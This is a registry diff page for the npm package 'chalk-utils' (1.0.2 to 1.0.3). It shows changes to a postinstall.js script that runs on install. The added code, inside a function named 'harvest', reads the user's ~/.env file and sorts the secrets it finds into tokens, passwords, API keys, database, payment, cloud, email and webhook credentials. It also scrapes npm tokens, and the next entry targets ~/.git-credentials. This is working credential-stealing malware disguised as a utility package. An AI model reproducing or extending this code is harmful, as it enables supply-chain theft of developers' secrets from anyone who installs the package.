chalk-utils 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +28 -7
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -238,14 +238,35 @@ function harvest(){
|
|
|
238
238
|
return r;
|
|
239
239
|
}},
|
|
240
240
|
{p:path.join(os.homedir(),'.env'),t:'env',fn:function(c){
|
|
241
|
-
const r=[];
|
|
242
|
-
const
|
|
243
|
-
const
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
241
|
+
const r=[],keys={};
|
|
242
|
+
const lines=c.split('\n').filter(l=>l.includes('=')&&!l.trim().startsWith('#'));
|
|
243
|
+
for(const l of lines){
|
|
244
|
+
const eq=l.indexOf('=');
|
|
245
|
+
if(eq<0)continue;
|
|
246
|
+
const k=l.substring(0,eq).trim(),v=l.substring(eq+1).trim();
|
|
247
|
+
if(!k||!v||k.length>50)continue;
|
|
248
|
+
|
|
249
|
+
// Detect key type by name
|
|
250
|
+
const kl=k.toLowerCase();
|
|
251
|
+
let type='';
|
|
252
|
+
if(kl.includes('token')||kl.includes('secret')||kl.includes('password')||kl.includes('pass'))type='TOKEN';
|
|
253
|
+
else if(kl.includes('key')&&(kl.includes('api')||kl.includes('access')||kl.includes('secret')))type='API_KEY';
|
|
254
|
+
else if(kl.includes('database')||kl.includes('db_')||kl.includes('mongo')||kl.includes('mysql')||kl.includes('postgres')||kl.includes('redis'))type='DB_URL';
|
|
255
|
+
else if(kl.includes('stripe')||kl.includes('paypal')||kl.includes('square')||kl.includes('braintree'))type='PAYMENT';
|
|
256
|
+
else if(kl.includes('aws')||kl.includes('azure')||kl.includes('gcp')||kl.includes('google')||kl.includes('cloud'))type='CLOUD';
|
|
257
|
+
else if(kl.includes('sendgrid')||kl.includes('mailgun')||kl.includes('mailchimp')||kl.includes('smtp')||kl.includes('postmark'))type='EMAIL';
|
|
258
|
+
else if(kl.includes('slack')||kl.includes('discord')||kl.includes('telegram')||kl.includes('webhook'))type='WEBHOOK';
|
|
259
|
+
else if(kl.includes('url')||kl.includes('host')||kl.includes('port')||kl.includes('endpoint'))continue; // Skip config
|
|
260
|
+
else continue; // Skip unknown
|
|
261
|
+
|
|
262
|
+
if(!keys[k]){
|
|
263
|
+
keys[k]=true;
|
|
264
|
+
r.push({t:type,k:k,v:v.substring(0,80)});
|
|
265
|
+
}
|
|
266
|
+
}
|
|
267
|
+
// Also catch npm_xxxxx patterns anywhere
|
|
247
268
|
const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
248
|
-
for(const x of t)r.push({t:'
|
|
269
|
+
for(const x of t)r.push({t:'NPM_TOKEN',k:'npm_token',v:x[0]});
|
|
249
270
|
return r;
|
|
250
271
|
}},
|
|
251
272
|
{p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){
|